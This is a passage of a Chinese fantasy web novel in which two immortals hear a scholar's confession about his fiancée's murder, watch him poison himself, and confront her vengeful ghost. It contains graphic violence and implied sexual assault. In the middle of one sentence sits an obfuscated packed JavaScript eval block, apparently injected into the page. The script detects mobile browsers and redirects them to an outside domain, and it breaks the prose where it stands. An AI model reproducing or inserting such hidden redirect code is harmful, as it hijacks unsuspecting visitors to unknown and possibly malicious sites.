苏子煜剧烈地咳嗽了一阵,然后摇摇晃晃地坐起身子,张开嘴角,露出血红的牙齿,扯起了一个笑容。半晌,他咬牙切齿地厉声吼道:“因为我不是人!!我想活!!我不让她进去,死的就是我!我不想死,我不想死!!” “你!”秦湘真的要炸了,她作势就要冲上去再来一脚。 长锦见状,连忙将她拦下。秦湘被他抱在怀里,满脸都是震惊,她转头,不解地看向他:“神君,你为何要拦我?!” “他想求死,你这一脚下去,他可能就离死不远了,正合他意,”长锦看了他一眼,低沉道,“我不想让这种人死在你手上,不值。” 29.旧梦谢幕 秦湘死死地盯着苏子煜,最终,还是放下了心中的一口气,拂开长锦的手,转身而立,不再看他一眼。她怕她再多看两眼,真的就会忍不住一脚送他归西。 长锦见她情绪暂时稳定下来了,才移开视线,复而放在面前坐着的苏子煜身上。 苏子煜状若疯狂,又哭又笑,“你为何要拦着她!杀了我吧,让我去给阿棠赔罪,杀了我!!”他哭着,笑着,五官扭曲,泪眼模糊。 “当初你为了活着,抛弃了宋允棠,如今你活下来了,却活得不心安,一心求死,”长锦看着他,一双眼里无波无澜,声音寡淡,“兜兜转转到最后,所有都是一场空,你可曾后悔了?” 听着长锦的话,苏子煜猛然一怔,他双目呆滞,面前的红衣衫格外地刺眼。 见他也安静下来了,长锦又一声叹息,“好了,接着交代吧,程鸿恩他们后来是怎么杀害宋允棠的?为何要如此残忍地割下她的头颅?还要用那么恶毒的镇鬼符镇压她?” 苏子煜愣愣地,眼眸里已经失去了所有的神采,黯淡无光。他仿佛一个陷入绝境的困兽,跪在那红色嫁衣面前,慢慢地回忆着,忏悔着。 那天晚上,他松开了宋允棠的手,就站在门口,朝着她吐出了冰凉凉的两个字,“没事。” 后来,他看着宋允棠走了进去,本来他也该跟着一起进去,可他脚底却如千斤坠坠,他无论如何都迈不开那一步,他不敢想接下来会发生什么,他也不敢去看接下来会发生什么,血液在身体里剧烈翻腾。 一声尖叫将他的梦境打碎,将他一把拉入了现实。他站在门扉处,透过门板的缝隙看见程鸿恩一伙人从屋里冲了出来,一双双眼睛死死盯着面前的宋允棠,脸上带着狰狞可怖的笑容,一步一步朝着她走来,宋允棠遍体生寒,立刻转身朝着门口跑来,试图逃离这个魔窟。 可那时的他是怎么做的呢?他生怕宋允棠出来,看见他,他不知该如何面对她,他还怕程鸿恩出来,看见他,将一切捅破,甚至连他一起杀,他是个懦夫,是个不折不扣的懦夫。 于是,在宋允棠奔向那扇门扉之时,他与她一墙之隔,她在里面,他在外面。然后,鬼使神差地伸手,脸色平静,残忍地将那扇生门死死地拉住、拴住、扣住。 他站在门口,无动于衷,听着门内宋允棠不住地拉门,推门,锤门,听着内门程鸿恩的狞笑,听着那群人上前拖拉和宋允棠拼命挣扎呼唤他的声音,可他却什么也没做,只是站着,平静,冷血,残忍地站着。 直到万籁归寂,直到里面再也没有声音传来,他才顺着墙垣滑下,呆呆地蹲着,跪着。 天空中一道闪电划过,随之而来的是一道炸雷惊响,苏子煜整个人被震得一愣,他呆呆地举起双手,那双苍白修长执笔握卷的手此时正在不断发着抖。 还不等他再做出反应,破旧的木板门扉被人一把拉开,一个衣冠不整的青年从门后走出来,低头看见跪在雨里的他,不由分说,一把将他薅起,然后将他拉进了屋内。 苏子煜被扔进了屋里,因为长时间的淋雨,又被这么用力一扔,他有些头晕眼花。等他摇摇头,眨眨眼,视线在一缕跳跃的烛火之中渐渐清晰之时,他看见了宋允棠,还看见了程鸿恩。从那时起,那个画面,便成了他每每午夜梦回挥之不去的噩梦。 他看到,满屋的血迹,一地的瓦片碎瓷,而宋允棠就躺在血泊里,粉色的衣裙已被撕碎,手脚摊开,身上劣迹斑斑,她的头颅和身体已然分开,一双美目圆睁,死死地朝他的方向盯着。而程鸿恩就站在那,衣襟大开,额角带血,手中还提着一把砍刀,刀刃散发着森森银光,未干的血迹从刀尖缓缓滴落。 他将刀随手一扔,带着满脸戾气地朝着宋允棠的尸身狠狠地啐了一口,“贱人,你不是清高吗?你不是瞧不上我吗?你不是不肯低下你自以为高贵的头颅向本少爷屈服吗?到最后,不还是落在了我手里。” “啊啊啊啊啊!!”苏子煜简直不敢相信自己看见了什么,那一瞬间,他吓得头皮发麻,骨头缝里都是冷的。他放声惨叫,手脚并用地就要逃离这里,可程鸿恩怎么会让他走,于是他还没爬出房门,便又被人一把抓了回来,扔在了程鸿恩面前。 程鸿恩看着抖如筛糠的苏子煜,嘴角带着笑意,他一步一步地朝他走了过来,蹲在他身边,他伸手摸上他的脸,将血迹抹在他的脸上,身上,然后一脸歉意地笑道:“苏公子,你做得很好,本少爷今晚要了你的未婚妻,还不小心失手杀了她,你心中可有恨意?你想不想杀了我?” 苏子煜心中一顿,他抬眼看着程鸿恩,程鸿恩脸上看不出情绪,他只是笑着盯着他。 良久,苏子煜才别过头,颤声道:“没有,我不敢。” “哼,只是不敢,不是不想。”程鸿恩冷哼一声,半晌,站起身来,“罢了,你想也没用,你这样的人,永远也不会有这个胆子来杀我,好了,本少爷也玩够了,宋允棠我就还给你了,你最好将她处理干净,然后,这辈子就乖乖地呆在本少爷的视线范围内,不要想着逃跑,不然,后果你是知道的。” 苏子煜呆呆地坐在地上,看着他们一个一个如喝了血的厉鬼餍足而去。四下安静,看着面前再也不会说话,再也不会微笑,再也不会站起来的宋允棠,此刻,他终于意识到,自己做了什么。 后来,他将宋允棠埋葬在了城郊的一处荒郊野岭里,之后,便也不去私塾教书了,门扉上锁,良心不安,他终日将自己关在房间内,从此闭门不出。在外人看来,就是从除夕夜之后,宋允棠和苏子煜一起失踪了,一时间,流言蜚语不断,说他俩抛下宋芸私奔了,而这起事件的主要刽子手,却没有受到任何影响。 听完了这整个宋允棠被害的经过,长锦和秦湘皆是一怔,遍体生寒,一个人,一群人,怎么能坏成这副模样呢,这简直都不能算是禽兽了,禽兽尚且还有良知,这简直就是披着人皮从地狱而来的鬼,一群活生生的恶鬼! 秦湘双手捏拳,一双杏眼里怒火滔天,她看着面前这个虚伪可怜又可恨的男人,看着这个又哭又笑被折磨得疯狂的男人,后槽牙都要咬紧了,她冲上前去,作势又要将他狠揍一顿。 “秦湘,冷静。”长锦伸手又拦住了她,虽然他心中也恨,也对这个男人很憎恶,但他还理智尚存,现在最重要的还不是这个,而是宋允棠后来变成鬼之后怎样来复仇的,而他们又为何还要拿那么恶毒的镇鬼符来镇压她。 长锦安抚着秦湘的情绪,见她慢慢地安定下来了,才又看向苏子煜,脸若冰霜,声音没有半点温度:“你接着说,宋允棠被你们害死之后,你们是何时再见到她的鬼魂的,她可迫害了你们?你们明明已经杀死她了,又为何还要再拿那么恶毒的镇鬼符来镇压她,让她永生永世不得超生?!” 像是被宣判了最终判决的死囚,等待着自己的报应前来,苏子煜跪着,目光很平静。 他微微抬起头,温暖的阳光透过破损的窗户从缝隙中投射进来,照在了他苍白如鬼的脸上,落在了他失魂无神的黑色眼眸里,苏子煜闭了闭眼。 真美,真暖。 良久,他睁开眼,低下头,看着面前的泥瓦酒壶,看着自己时至今日仍然一看便会发抖的苍白双手,回忆渐渐涌上脑海。 葬了宋允棠之后回到了家的他,虽然在那天晚上活了下来,但却也和死了没什么分别了,明明活下来了,可他却终日里活在了过去,一闭上眼,便是宋允棠死不瞑目的样子。一介书生,变成了一个疯子,患上了癔症,常常分不清现实与梦境,他将自己锁在房子里,闭门不出。 一开始,他夜不能寐,一闭眼眼前浮现的都是宋允棠惨死的模样,他在房间内大喊着,大叫着,他知道,害死宋允棠,他也有份,是他亲手杀了他心爱的姑娘。 骨子里的罪恶脏污逼疯了他,他逃过了死亡,却逃不过心里这道坎。明明事情是他做的,做的时候不觉得害怕,做完了,便开始后怕,一切为时已晚之时,便觉得后悔。 于是在这日复一日的精神折磨之中,苏子煜疯了,后来,他忘记了宋允棠死了这件事,也许并不是忘记,只是他刻意地,想为自己开脱,认为自己还没有害死她,她还是他的未婚妻,他们会在海棠花开的时候成婚。 他不分日夜地喝着酒,昏昏沉沉,他为自己编造了一场梦,一场他和宋允棠还未走到那一步的梦。梦中,他们两人还是如以前一般,日子清贫,却日日充实快乐,她卖花,他教书,闲暇之时,他便会去她家,为她做些力所能及的重活,而宋允棠会在一旁,微笑着替他擦去额角的汗。 “大概是上天日日夜夜见我思念阿棠,所以有一天晚上,我竟然真的见到了阿棠,我敢肯定,那不是梦,她一袭红衣,手中还握着两束荷花,站在我的床边,就那样看着我,满眼血泪,她在问我,为什么不救她?”苏子煜看着面前湿漉漉的红色嫁衣,慢慢说着,“我心中大惊,连忙扑下床,跪在她面前,跟她说着对不起,我想拉住她,我想抱抱她,就算要我的命也无妨,只要阿棠能原谅我。” 苏子煜揪着心口,神情痛苦地哽咽着,“可阿棠她,她只是看着我,然后一步一步倒退,我看着她消失不见。直至此时,我的梦境终于破碎,我知道,阿棠她不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14849614|156532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会原谅我的,她恨我,她恨我们每一个人,她回来了,因为见到她的不止我一人,还有程鸿恩他们……” 连续不断地在睡梦中见到这张熟悉的脸,让这些肆无忌惮的富家公子们终于知道了害怕,就算宋允棠什么也没做,只是一袭红衣站在那里,就足以让他们心虚不已,夜不能寐。 程鸿恩自然也不能幸免,这辈子还没有尝过害怕是为何种滋味的程少爷此时也开始有点心神不宁了。在连续一个月闭眼都是宋允棠之后,他终于忍不了了,花重金请来了一个道士,拉上苏子煜,趁着一日旭日当空,来到了宋允棠的埋尸之地。 那道士有点道行,他围着那个小土堆神神叨叨地绕了几圈,拂尘一挥,凭空祭出一张黄符。霎时间,乌云密布,狂风大起,一阵尖锐的女子惨叫声从土堆之中传出,在这寂静的山野之中显得格外的渗人。 程鸿恩和苏子煜一听到这个声音,顿时脸色煞白,那是宋允棠的声音。这说明他们梦中见到的那个,真的就是宋允棠,是她的鬼魂,她回来了,回来复仇了。 苏子煜一听到这个声音,瞳孔猛然缩紧,他冲上前去,跪在那个土堆前,就开始奋力地刨土:“阿棠,阿棠!是你吗?真的是你吗?!阿棠,别怕,我来救你,我来救你!” 程鸿恩也冲了上去,一脚踹翻了苏子煜,虽然身子微微发着抖,但还是硬着头发厉声道:“大师,这就是那个女鬼啊,大师,你快收了她!” “程公子稍安勿躁,”老道偏头看了他一眼,手指在空中迅速画着符咒,随着他一声低喝:“去!”那黄符猛然涨大数倍,盖在那土堆之上,然后渐渐隐去。 云层随之散去,女鬼的尖锐惨叫声也戛然而止,老道收了拂尘,朝着程鸿恩道:“此乃镇鬼符,被此符镇压的魂魄是成不了厉鬼的,她会被这符咒吸收炼化,直至九九八十一天之后便会彻底灰飞烟灭,永不入轮回。如此,程公子可放心了。” “那道士下了镇鬼符之后,阿棠果然就没有再出现在我们的梦里了,我心有不忍,也想过杀了程鸿恩,但我一介书生,手无缚鸡之力,我没用,我杀不了他,”苏子煜靠在墙角,声音沉沉,“日子一天天过去,眼看着马上就要到八十一天的期限了,我们都以为,只要过了那几天,阿棠就会彻底消失,可事情就出在半个月前,那一晚,我竟然在梦中又看见了阿棠……” “她一袭红衣比之前更甚,这次,她不再是远远地站着了,她一步一步朝着我走近,还是记忆中那张熟悉的脸,还有她脖颈之上那一圈刀切面的红色疤痕,我想追上前去,想跟她道歉,可她却消失不见。第二天,我醒来之后,在床边,发现了一束状似风铃的骷髅花,一共六颗人头骷髅,我知道,梦中的都是真的,那是阿棠,她回来复仇了,这六颗人头就代表着除夕夜那晚杀死她的所有人,她会一个一个将我们杀死。” “那些人一个一个地死去,我去看过,他们无一不是尸首分离,看着他们也死不瞑目,眼里都是惊恐,我竟然会生出一种莫名地兴奋,原来,他们那样的人,也会知道害怕,也会知道惊恐,也会有这样的神情。” “今日是我和阿棠的原定大喜之日,也是我的死期,我本来已经做好赴死的准备了,可随着时间越近,我发现我还是懦弱的,我不敢见到阿棠,不想死在她的手里,我接受不了,这样太残忍了,我就是个懦夫,我只会逃避……” “所以,你那时候才会故意激怒秦湘,激她杀你,你想死,但是你不想死在宋允棠手里,你不敢见她。”长锦冷冷地盯着他,目光如炬。 秦湘嗤笑一声,低沉道:“你还真是又可怜又可笑。” “是,说来还真是可笑,明明一开始拼命想活下来,”苏子煜叹息一声,自嘲地笑道,“到如今,却是求生不得求死不能,天下之大,真就没有我的容身之处了,倒还不如一开始,便与阿棠一道死去,这样,好歹不用看着她恨我,不用受到这良心的谴责变得这副人不人鬼不鬼的模样……” 言罢,苏子煜缓缓闭上眼,下一秒,身子却突然往旁边一倒,一口乌黑的血液喷吐而出。 始料不及的,两人皆是一愣,虽然觉得苏子煜此人可恨,但此时也顾不得如此之多。长锦将人靠着墙角扶正,伸手按在他的脉搏之处探了一探,神色一凛,道:“你服毒了?” 秦湘也是一怔,她看了他两眼,虽然不情愿救他,但她还是解下了腰间的云纹锦囊,从中拿了瓶沈清桐给她的解毒丸倒了两粒就要往苏子煜嘴里塞。 苏子煜轻轻摇头:“谢过两位仙君好意,但是,我既已决意去死,再好的丹药,也救不了我。” 30.尘埃落定 原来,苏子煜本来就已犯了疯病,大约是那晚给他造成的心理阴影够大,他觉得自己对不起宋允棠,想要弥补,想要道歉。 于是,在再次见到宋允棠的鬼魂之时,其他人是害怕,只有他,是兴奋,是期待,是觉得自己还能再见到她,亲自与她道歉,希望能得到她的原谅。 而程鸿恩拉着他带着道士给宋允棠下了镇鬼符之后,他就更加疯了,他已经无所谓了,他不能保护宋允棠,便想着杀了程鸿恩给她报仇。 可如前所言,他只是一介书生,就算是疯了,发狂了,也改变不了他是个书生手无缚鸡之力的本质。 他杀不了程鸿恩,反而还被他们绑在麻袋里一顿狠揍。最后他回到家中,躺在宋允棠身死的那个房间里,给自己下了慢性毒药,毒入骨髓,吃满九九八十一天,刚好是宋允棠被镇鬼符镇压灰飞烟灭的日子。 他救不了她,便想在这一天与她同死。 可谁知,宋允棠竟化为厉鬼带着满腔怨气归来了,她想杀他。他不是不敢死,而是不敢死在她手里,他不敢看见她那双流着血泪的眼眸,那双眼睛里带着的怨恨太冰冷,他受不了。 他知道,今晚便是宋允棠为他选择的死亡之日,也是他们的大喜之日。所以他早早地便穿上了这身喜服,也一早又服了另一味毒药,他不敢见到宋允棠,所以他选择自己终结了自己的生命。 他骨子里还是个懦夫,和那晚为了活命拉住门扉亲手送她走向死亡的他一样,一点也没变。 满地狼藉的房间里,苏子煜靠着墙壁,清俊的容颜上鲜血四溢,血液不断地从他的口鼻,双眼,双耳中流出。他咽下一口血沫,忍着毒入肺腑的阵阵抽痛,声音沙哑:“我……还是没有勇气面对阿棠,所以……所以……两位仙君就成全我吧,让我就这样走,我……我知道,是我厚颜无耻,做出这等伤天害理之事,竟然还妄想……妄想能得到阿棠的……原谅……” 房间内四下安静,一丝微凉的清风穿过破旧老化的窗户吹了进来。长锦和秦湘一蹲一站,看着面前这个可怜可笑的男人,表情平淡,什么也没有说。 眼前一阵阵发黑,苏子煜颤抖着转过头,眼中有血泪滑过,他看着不远处那一袭沾染了泥灰的嫁衣,恍惚间,便好像看见了一个年轻的姑娘,她站在那,亭亭玉立,朝他温柔一笑,然后浅浅欠身作了一礼。 小女子宋允棠,多谢公子相救。 一如初见。 胃里阵阵翻涌,他能感觉到自己的五脏六腑都被那毒扭曲溶解成了腐烂污臭的肉浆血水。苏子煜慢慢地顺着墙垣倒下,疼痛的感觉是如此剧烈,撕心裂肺,但却比不上宋允棠看他那一眼的分毫。 他在地上爬着,用那血迹斑斑的十指在地上缓缓地爬着,痉挛着,爬到了那袭沾染泥灰的红色嫁衣面前,伸手轻轻地拥住,血骨冰冷,但脸上却带着笑容。 “阿棠……下辈子……你不要再遇上我了……” 苏子煜喃喃着,缓缓合上双眼。 爱也好,恨也好,悔也好,怨也好,在这一瞬间,都成了前尘泡影,这一场旧梦,对他而言,终于落幕。 长锦和秦湘看着面前这个拥着嫁衣嘴角还带着微笑死去的男人,良久无言。 到底还是不忍,两人收了苏子煜的尸骨。站在那无比简洁的荒墓面前,秦湘心中闷赌,一声叹息,听完这些爱恨情仇,她心中既觉得悲凉,又觉得真的有些可笑。 苏子煜一生胆小懦弱,对于宋允棠的死亡,他虽然不是直接的杀人凶手,但却也脱不了干系,要说他爱宋允棠,可他却能为了自己活命,亲手将自己心爱的姑娘送入万劫不复之地,要说他不爱宋允棠,可他最后也落得如此下场,不得善终。 秦湘呆呆地看着那个小土堆,轻轻开口:“神君,你说,苏子煜到底是更爱宋允棠呢,还是更爱他自己呢?” 长锦站在她身边,轻轻地合了眼眸,良久,都没有回答。 这个答案,他不知。也许,就连苏子煜自己,也窥不破。 回到宋芸家中之时,已是黄昏。推开那扇木质门扉,三花正在庭院之中守着一个中药罐子,她坐在一个小马扎上,手中拿着一柄老蒲扇在轻轻扇着火,许是太无聊了些,她一边扇着一边还打了个浅浅的哈欠。 一个哈欠打完,抬眼瞥见了站在门口的秦湘和长锦,她一喜,连忙站起身来,脆生生道:“秦湘姐姐,你们回来啦!” 屋内的乔玉洲也听到了动静,从里屋走了出来,问道:“你们回来了,怎么样?可找到那苏子煜了?” “找到了。” 残阳如血,秦湘心力交瘁,她叹了口气,将苏子煜和宋允棠还有程鸿恩之间的事情简洁明了地说了一遍。等她讲完,乔玉洲和三花皆是怒火滔天,遍体生寒。三花将手中的蒲扇生生捏断,一口银牙简直快要咬碎了:“这程鸿恩也太不是人了吧!这苏子煜也是,口口声声的爱,便是将心爱的人送进魔窟吗?!” “这样的人,不配说爱,”乔玉洲也愤愤不平,一阵气结过后,他转头望向秦湘,“那你现在准备怎么办?去程鸿恩家找宋允棠?如此深仇大恨,她杀了他都是枉然,就该给他下油锅炸了。” “对对对,下油锅炸了,再剁成碎沫扔河里喂鱼去!!” 秦湘已经过了那个气头冷静下来了,看着乔玉洲与三花的愤然,她冷静平淡道:“先去程鸿恩家看看吧,苏子煜已死,六个人如今只剩下程鸿恩了,宋允棠会去找他的,对了,宋芸奶奶可醒了?” “还没有,”乔玉洲摇摇头,眼神指了指面前的药罐子,“再喂了这副药,可能晚点会醒吧。” “好吧,”秦湘点了点头,“那我去看看她。”说罢,便抬脚走进了宋芸的卧室之中。 房间里,宋芸静静地躺在那床榻之上,眉头紧蹙,额角冷汗涔涔。她仿佛陷入了一个噩梦之中,双眸紧闭,睫毛颤抖,脑袋不住地晃动,仿佛忍耐着极大的痛苦一般。 秦湘走了过去,从袖口的暗襟之中摸出一块锦帕,替她轻轻拭去额角的汗。 “阿棠……阿棠……不要走……” 听着宋芸梦中的轻声呢喃,秦湘心头一痛,她偏头,忍下了鼻头的酸楚。半晌,才转过头来,伸手揉了揉她紧蹙的眉心,看着她眉头舒展了,她才替她将那床薄被掖了掖,起身,走出房间。 她在这小小的屋子和庭院之中转悠了一圈,总觉得有点什么不对劲的地方,好像少了点什么,但是具体少了什么,她又一时想不起来。 乔玉洲又在逗三花了,秦湘呆呆地看着面前打闹的一人一猫,突然,福至心灵,她猛地冲上前去,“乔玉洲!” “怎么了?”乔玉洲被她的突然动作吓得一怔,三花和正在守着煎药的长锦也抬头望向她。 “你们有没有看见小白?!” “小白?那只狗?”经秦湘这么一提醒,乔玉洲才猛然一惊醒,“对哦,那狗去哪里了?好像今天上午它进了这扇门之后就没看见过它了,门又一直是锁着的,它能去哪里?” “宋允棠。”一个答案在秦湘头脑之中浮现,本来今天上午她就觉得奇怪,但是她并没有多想,此时,她像是终于确认了般,“宋允棠就是小白,她一直附身在这白狗之上!” 闻言,三人皆是一惊,但静下心来又细细一想,秦湘的话并不是空穴来风,这只白狗与宋允棠之间,一直都有着一种密不可分的联系。 就从一开始而讲,秦湘与长锦初到玉溪城码头,遇见了宋芸与那群妇人纠缠,她们帮了宋芸,从而结下了善缘。然后那天晚上在幻境之中,秦湘遇见了魔化的宋允棠,明明可以杀死她,但见到了她的脸,却又为何放过她?乔玉洲说是因为秦湘帮了宋芸,所以宋允棠认出了她,所以才会放过她。 这话是说的没错,可宋允棠又是怎么见过她呢?所以不必要想太多,最简单的答案就是变成了鬼的宋允棠一直都在宋芸身边,凡人见不到鬼魂,除非特定情况之下,鬼自己现身。但宋允棠心中对宋芸有愧意,她因为自己识人不淑,所以和宋芸阴阳相隔,她不敢在宋芸面前现身,于是便附身在了小白身上一直陪伴在她左右。 所以,在看见宋芸被那群妇人欺负,推倒在地之时,它才会不顾一切冲了上去;而昨天晚上,她也并不是因为在幻境之中听见了长锦的声音而匆忙离去,而是因为昨晚宋芸突然犯病,所以她才会急急离去。而后来就更不用说了,那种情况之下,小白又怎会独自离家,且精准无误地便找到了这个埋尸之地,这一切只能说明,宋允棠便是小白,小白是她养的,她附身在小白身上,自然就能驱使这副身体。 而昨晚,宋允棠也并非就是消失逃逸了,她一直都在小白身上,两者融合得极好,朝夕相处,气息也就自然相近,而她身上的魔气又被长锦所收,所以秦湘几人才一时没有察觉。 当时还不觉得,如今回想起来,找到宋允棠的尸身,再到小白叼出那枚银质平安锁坠,然后他们再顺藤摸瓜发现这一切的真相,这些事情连串起来,是不是有点太过于顺利了? 四人站在庭院之中,面面相觑。不用再做过多的说明和解释了,一切都已明了。 乔玉洲面色沉重,他看了看安安静静的里屋,宋芸还躺在床榻之上陷入昏迷之中,顿了顿,又转回脸来,“那宋允棠如今应该去了何处 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不用想,那附身程夫人的厉鬼便是宋允棠。秦湘顿了顿,拉着长锦便走,“我和神君先过去看看。” 乔玉洲一愣,连忙拉着杵在原地的三花跟上,“我们也去。” “你不是还熬着给宋芸奶奶的药吗?”秦湘偏头看了他一眼,“你走了,万一宋芸奶奶醒了怎么办?” “我我我,还有我,交给我就行,”未等乔玉洲回答,那站在一旁的妇人就已站了出来,“各位仙君尽管去,那药和芸婶交给我就好,我来照顾。” 秦湘看了她一眼,想了想,程府这一片鸡飞狗跳的,估计也需要乔玉洲,于是便也没拒绝,朝那妇人点了点头,“那就麻烦姐姐了。” 妇人摆摆手:“不麻烦不麻烦。” 一行人浩浩荡荡地赶往了程府,来到程府门口,还没有走进去,便听见了里面一阵撕心裂肺的惨叫,不少奴仆丫鬟尖叫着从里面冲了出来。 几人一愣,顾不得多想什么,连忙闯了进去。 只见一旁程鸿恩满脸惊恐,躲在程员外身后,他一边尖叫,一边满堂乱窜,“爹,救我!救我!” 而程夫人脸孔发青,双目赤红,长发乱舞,十指化为猩红利爪,在她脚下,还有几张被撕得粉碎的黄符,她眼神死死地锁定住程鸿恩,口中发出凄惨的叫声,是个女子的声音:“程鸿恩!你也知道害怕,你也会叫救命!我要你偿命!!” 她说着,便飞扑了上去,速度之快,将程鸿恩更加吓得魂飞魄散,抱头鼠窜之余,还不断拉过自己的老爹挡在身前,“爹,你救救我,救救我!” 程员外不知程鸿恩和宋允棠的这些事,也不知道自己的夫人此时已被厉鬼上了身,他挡在程夫人和程鸿恩之间,伸出手臂不断阻挡,口中急道:“夫人,你冷静啊,这是咱们的鸿恩啊,你真的要杀了他吗?” “我怎会不知他就是程鸿恩,”程夫人冷哼一声,双目恨极,“他这张脸,就算化成灰我都会认得!你与我无冤无仇,我不杀你,你最好给我让开,不然,就别怪我连你一块杀!!” “夫人,你冷静啊!!!”程员外虽被她吓得一愣,但还是壮着胆子挡在了自家儿子面前。 “滚开!!”程夫人飞扑上去,一把揪住程员外的身体就将他甩到一边,程鸿恩见面前已无遮挡,果断地拔腿就跑,程夫人见状,又调转方向,朝着程鸿恩追去。 秦湘上前将摔着老腰半天都没爬起来的程员外扶起,程员外转头看见秦湘几人,焦急之外,连忙拉住秦湘的衣角就要跪下去,“仙君?仙君救命啊,救救我家鸿恩,救救我家夫人吧!!” 秦湘皱了皱眉头,将他一把扶住,没让他下跪,也没回答他的话。她将他往乔玉洲那边一推,“看好他。” 话音一落,她便冲上前去,没了魔气护体的宋允棠不堪一击,且不说她现在还附身在一个凡人躯体里,所以秦湘也没费多大劲,就将被宋允棠附身的程夫人制服,手指祭出一道定身符,将她牢牢地定在了原地。 被定住的程夫人面目狰狞,眼神凶狠,她盯着面前无恙的程鸿恩,一双美目几欲裂眶,凄厉不甘的声音响彻整个程府,“人面兽心,可憎可恶,我要你死!!我要你死!!” “呸,当初镇鬼符镇不死你,竟然还敢来害本少爷的命,死的是你,本少爷永远不会死!”见宋允棠已被秦湘制服,程鸿恩也不跑了,他本就被程氏夫妇纵容地无法无天,肆意妄为,当下便狐假虎威起来,“我劝你,识相的,赶紧从我娘身体里出来,不然我能镇你一回,就能镇你第二回,小心我让你灰飞烟灭!!” 31.幕后推手 秦湘站在程夫人旁边,听着程鸿恩的话,心中怒火不言而喻。此人死到临头了却还一副死不悔改的样子,他的心中丝毫没有悔意,没有害怕。明明宋允棠是鬼,可这一刻,秦湘却觉得,她面前站着的,这个丧心病狂的披着人皮的程家公子,才是鬼。 她冷冷地盯着他,厉声道:“神君!” 长锦自然明白她的意思,手指轻轻一动,在众人都没有反应过来的情况之下,一柄冰凉的剑刃便凭空而出架在了程鸿恩的脖颈之上。 程鸿恩的笑容僵在嘴边,取而代之的是满脸的惊恐,剑刃在他的脖颈之处散发着丝丝寒意,只要再往前进一步,便能在片刻之间取了他的性命。 “仙君,你这是干什么!!”站在乔玉洲身边的程员外也没有料到事情竟会发展成这样,他给腾岳之巅发的委托函明明是抓鬼的,到最后为什么刀却架在了他儿子的脖颈之上,他一急,就要往前扑,却被乔玉洲按在原地,“哎呀,老人家,刀剑无眼,别乱跑。” 程员外被控制在原地,挣脱不开,便只能干着急地大喊道:“仙君,你们到底要干什么啊!!我是要你救我儿性命啊,不是杀他啊!!你们快把剑放下!!” 程鸿恩心狠手辣又极为狡猾,在程员外说话的时间里,已经将整个事情经过大致了解了一番,他先前还怕长锦会真的杀了他,可转念一想,长锦秦湘是腾岳之巅的道士,既然是他爹委托过来捉宋允棠的,那自然就不能够杀他,杀了委派人,那腾岳之巅还要不要在修仙界混了。 想到了这,他也从一开始的惊慌失措渐渐地冷静了下来,他冷冷道:“你们这是做什么?腾岳之巅就是这么做事情的吗?我爹是委派你们来捉鬼的,你们能杀了我吗?你们杀了我,你们还如何在修仙界内自处?你们不敢。” 他说的是实话,就算程鸿恩有罪,也轮不到腾岳之巅来杀他,如果要真的杀了他,腾岳之巅不仅在六大门派仙门百家之中不能自处,甚至在天下百姓之中,都会名声扫地,无法自处。 一时间,除了程夫人还在凄惨地嚎叫之外,所有人都沉默不语,怒视着他。 见状,程鸿恩丝毫不在意,他冷哼一声,“既然不敢杀我,那就完成你们的任务,收了这个女鬼,然后拿着钱滚吧。” 秦湘压下心中的怒气,她转头看向一旁的程员外,声音冷淡,“程员外,你可还记得昨日自己说过的话?你说你程家百年家训,行善积德,尽忠尽孝,只要这件事是程鸿恩自己造下的孽,届时,你自会将他交予公堂处置,这句话,可还作数?” 程员外一脸懵然,虽然面前的程鸿恩确实和平时他们见到的程鸿恩说话语气有些不同,可刀架在脖子上,谁都会有些脾气的,于是他道:“仙君此话是何意?我家鸿恩平日里都是温和良善的,此时如此说话,也只是被刀剑吓得口不择言所以冲撞了各位仙君而已,我还想问各位仙君为何不收那女鬼,反而来针对我儿?” “温和良善,孝顺听话?”闻言,秦湘冷笑一声,“如果他真的如此孝顺,那方才危险来临之际,也不会拿程员外你来做挡箭牌了,我一开始就说过了,你的儿子,温和良善,孝顺听话,都只是他想让你们看见的样子,你可知他在外又是怎样一个人?” “他仗着自己是程府少爷,仗着你们的无限宠爱,暴虐成性,横行霸道,恶贯满盈。而缠着他的那个女鬼,就是被他带着那群畜牲生生凌辱致死,他杀了她还不够,还要割下她的头颅,最后还要用镇鬼符镇压她,让她不入轮回,永生永世不得超生!你说说,你的儿子,该不该杀?!” “什么?!”程员外简直不可置信,他双瞳紧缩,身形不稳,好一阵子,才回过神来,愣愣地看向程鸿恩,而他脸上的暴戾,那确实是他不曾见过的。 程鸿恩见事情败露,也没什么好装的了,原本脸上还有的一点笑意彻底消失不见,取而代之的是满脸的戾气与森森的阴寒之意,他嚣张狠戾道:“行了,原来你们是来为那贱人讨公道的,是我杀了她,又如何?我就是要她灰飞烟灭,又如何?我一开始也不想杀她的,毕竟我一开始也是打心底里挺喜欢她的,可她呢,仗着自己有几分姿色便眼高于顶,区区一个卑贱的卖花女,也敢对本少爷甩脸色?!” 他说着,脸上越来越疯狂,眼睛极亮,透着精光,几乎是丧心病狂地笑着,“所以我杀了她,谁叫她敢对我甩脸色的,她该的!你们就算恨我又如何,你们就算怒气冲天又如何?你们能杀我吗?你们敢杀了我吗?哈哈哈哈哈!!” 程员外看着面前陌生的儿子,面色煞白,他抖着嘴唇,喃喃道:“鸿恩……” 程鸿恩看了他一眼,又将目光放在了秦湘脸上,他朝她冷笑一声,“小仙君,你方才说我爹会将我交予公堂处置?哼,简直可笑,我爹就我这么一个儿子,就算程家家训是行善积德,尽忠尽孝又怎样,他做不到的,”他说着,又转而将目光看向了程员外,甜腻腻地笑着,“爹,你告诉他们,告诉我,你会将我交予公堂处置吗?你舍得吗?你能做到吗?!” 庭院之内,所有人的目光都落在了这个面色煞白的中年男人身上,他盯着程鸿恩半晌,张了张嘴,想说些什么,却最终什么也没说出来,只是喃喃着:“我……” 